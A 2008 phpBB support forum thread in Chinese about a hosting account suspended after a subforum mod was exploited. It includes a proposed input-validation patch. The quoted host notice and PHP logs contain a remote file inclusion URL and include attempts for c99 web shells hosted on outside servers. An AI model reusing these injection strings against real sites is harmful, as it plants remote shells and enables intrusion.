[求助] 子分區被人利用攻擊其它網站

phpBB 2 MOD Support
無論是官方或非官方認證之外掛,安裝與使用問題討論。
(發表文章請按照公告格式發表,違者砍文)

版主: 版主管理群

主題已鎖定
阿維
竹貓忠實會員
竹貓忠實會員
文章: 868
註冊時間: 2003-02-23 13:36
來自: 台南市

[求助] 子分區被人利用攻擊其它網站

文章 阿維 »

問題外掛:Categories hierarchy 2.0.5-RC2
參考連結:http://starryhometown.net/forum/viewtopic.php?t=485
使用版本:phpBB 2.0.23
網站位置:http://www.devannnnnn.com
狀況描述:
昨天接到主機商通知,說我安裝的子分區被人拿來當作攻擊其它網站的工具
請問我該怎麼處理呢? (因為我有使用虛擬貨幣及付費瀏覽的需求,因此不能升級成phpBB3還請協助)

代碼: 選擇全部

寄件日期: 2008/7/1(星期二) 下午1:21:50
主 旨: devannnnnn.com 被上傳不當的攻擊程式

您好

devannnnnn.com
接獲檢舉, 您的網站程式被上傳不當的攻擊程式, 同時大量的攻擊他人網站
phpBB/includes/functions.php?phpbb_root_path=http://silenceisdefeat.org/~fantasize/text/tx.txt?t??t??t?? 
 
在造成主機運作不穩定, 同時可能讓機房及主機被國際組織列入黑名單
由於你這個情形已經危害到機房及主機安全, 因此機房人員必須立即暫停帳號
 
1. 當您收到這一封信, 請來電告知您需要在什麼時候處理 02-2508-4851 (週一 ~ 週五 9AM ~ 5PM)
2. 當我們開放帳號後, 請立即登入帳號查詢是否還有不當的檔案, 可能主要在 phpBB/includes/functions資料夾
3. 如果您是使用免費程式或相關程式, 同時請您你立即登入做程式升級, 漏洞修補及維護
 
如果你是使用一般免費軟體及外掛, 請確認你隨時都有在做安全漏洞修補
如果問題持續發生, 為了維持機房及主機的品質, 服務人員會暫停整個帳號
 
更多訊息
[01-Jul-2008 10:10:24] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:11:54] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:11:54] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:11:55] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:11:55] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:13:25] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:13:25] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:13:25] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:13:25] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:24:52] PHP Fatal error:  Cannot redeclare check_file() (previously declared in http://www.insoM.info/mob/c99.txt??./includes/functions_cache.:158) in http://www.insoM.info/mob/c99.txt??./includes/functions_categories_hierarchy. on line 156
root@dragon [/home/devannnn/public_html/phpbb_suspend/includes]
附加檔案
mod-cat_hierarchy - 205rc2.zip
子分區原始檔案
(273.7 KiB) 已下載 917 次
phpBB.zip
我修改的子分區檔案
(28.61 KiB) 已下載 899 次
提供代客維護 phpBB 3.0.x 以及外掛/風格升級或安裝的服務,如需委託,請與我聯絡,謝謝! ;)
我的 Skype 帳號:gpxjordan
頭像
心靈捕手
默默耕耘的老師
默默耕耘的老師
文章: 8510
註冊時間: 2004-04-30 01:54
來自: Taiwan

Re: [求助] 子分區被人利用攻擊其它網站

文章 心靈捕手 »

阿維 寫:問題外掛:Categories hierarchy 2.0.5-RC2
參考連結:http://starryhometown.net/forum/viewtopic.php?t=485
使用版本:phpBB 2.0.23
網站位置:http://www.devannnnnn.com
狀況描述:
昨天接到主機商通知,說我安裝的子分區被人拿來當作攻擊其它網站的工具
請問我該怎麼處理呢? (因為我有使用虛擬貨幣及付費瀏覽的需求,因此不能升級成phpBB3還請協助)

代碼: 選擇全部

寄件日期: 2008/7/1(星期二) 下午1:21:50
主 旨: devannnnnn.com 被上傳不當的攻擊程式

您好

devannnnnn.com
接獲檢舉, 您的網站程式被上傳不當的攻擊程式, 同時大量的攻擊他人網站
phpBB/includes/functions.php?phpbb_root_path=http://silenceisdefeat.org/~fantasize/text/tx.txt?t??t??t?? 
 
在造成主機運作不穩定, 同時可能讓機房及主機被國際組織列入黑名單
由於你這個情形已經危害到機房及主機安全, 因此機房人員必須立即暫停帳號
 
1. 當您收到這一封信, 請來電告知您需要在什麼時候處理 02-2508-4851 (週一 ~ 週五 9AM ~ 5PM)
2. 當我們開放帳號後, 請立即登入帳號查詢是否還有不當的檔案, 可能主要在 phpBB/includes/functions資料夾
3. 如果您是使用免費程式或相關程式, 同時請您你立即登入做程式升級, 漏洞修補及維護
 
如果你是使用一般免費軟體及外掛, 請確認你隨時都有在做安全漏洞修補
如果問題持續發生, 為了維持機房及主機的品質, 服務人員會暫停整個帳號
 
更多訊息
[01-Jul-2008 10:10:24] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:11:54] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:11:54] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:11:55] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:11:55] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:13:25] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:13:25] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_cache.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 29
[01-Jul-2008 10:13:25] PHP Warning:  main(http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.) [<a href='function.main'>function.main</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:13:25] PHP Warning:  main() [<a href='function.include'>function.include</a>]: Failed opening 'http://www.dosbr.net/XPL/CMD/c99.txt??./includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devannnn/public_html/phpBB/includes/functions.php on line 33
[01-Jul-2008 10:24:52] PHP Fatal error:  Cannot redeclare check_file() (previously declared in http://www.insoM.info/mob/c99.txt??./includes/functions_cache.:158) in http://www.insoM.info/mob/c99.txt??./includes/functions_categories_hierarchy. on line 156
root@dragon [/home/devannnn/public_html/phpbb_suspend/includes]
建議您:
完全移除此外掛!
施比受有福,祝福您好運! ^_^
歡迎光臨★★心靈捕手★★ :: 討論區
https://wang5555.dnsfor.me/phpBB3/
阿維
竹貓忠實會員
竹貓忠實會員
文章: 868
註冊時間: 2003-02-23 13:36
來自: 台南市

Re: [求助] 子分區被人利用攻擊其它網站

文章 阿維 »

請問真的沒有修正的方法嗎?
因為目前也有使用子分區的需求,就算是拿掉也等於重新安裝所有外掛
還請各位前輩提供這個外掛安全性修正的方法
頭像
hentaibbc
版面管理員
版面管理員
文章: 342
註冊時間: 2005-09-01 18:01

Re: [求助] 子分區被人利用攻擊其它網站

文章 hentaibbc »

用以下方法試看看。

打開includes/functions.php

找到

代碼: 選擇全部

//-- mod : cache -----------------------------------------------------------------------------------
//-- add
include_once( $phpbb_root_path . './includes/functions_cache.' . $phpEx);
在之前,加上

代碼: 選擇全部

if(!preg_match('#^\.\/#is', $phpbb_root_path))
{
	$phpbb_root_path = './';
}
頭像
心靈捕手
默默耕耘的老師
默默耕耘的老師
文章: 8510
註冊時間: 2004-04-30 01:54
來自: Taiwan

Re: [求助] 子分區被人利用攻擊其它網站

文章 心靈捕手 »

阿維 寫:請問真的沒有修正的方法嗎?
因為目前也有使用子分區的需求,就算是拿掉也等於重新安裝所有外掛
還請各位前輩提供這個外掛安全性修正的方法
實在不懂! 您為何會執意安裝此外掛.

它不但版本老舊無支援, 而且不好裝;
更重要, 它與其他外掛的相容性很低.

若真要子分區, 為何不安裝最新版呢?
http://www.phpbb.com/community/viewtopi ... 2#p2833102
施比受有福,祝福您好運! ^_^
歡迎光臨★★心靈捕手★★ :: 討論區
https://wang5555.dnsfor.me/phpBB3/
阿維
竹貓忠實會員
竹貓忠實會員
文章: 868
註冊時間: 2003-02-23 13:36
來自: 台南市

Re: [求助] 子分區被人利用攻擊其它網站

文章 阿維 »

這是因為天霜有做這方面的整合教學
所以在外掛相容性上的問題不會比 2.1.0 來得多,因此我一直習慣用這個版本
既然沒辦法再做安全性的修正只能夠放棄了,感謝老師的回應 :(
提供代客維護 phpBB 3.0.x 以及外掛/風格升級或安裝的服務,如需委託,請與我聯絡,謝謝! ;)
我的 Skype 帳號:gpxjordan
主題已鎖定

回到「外掛問題討論」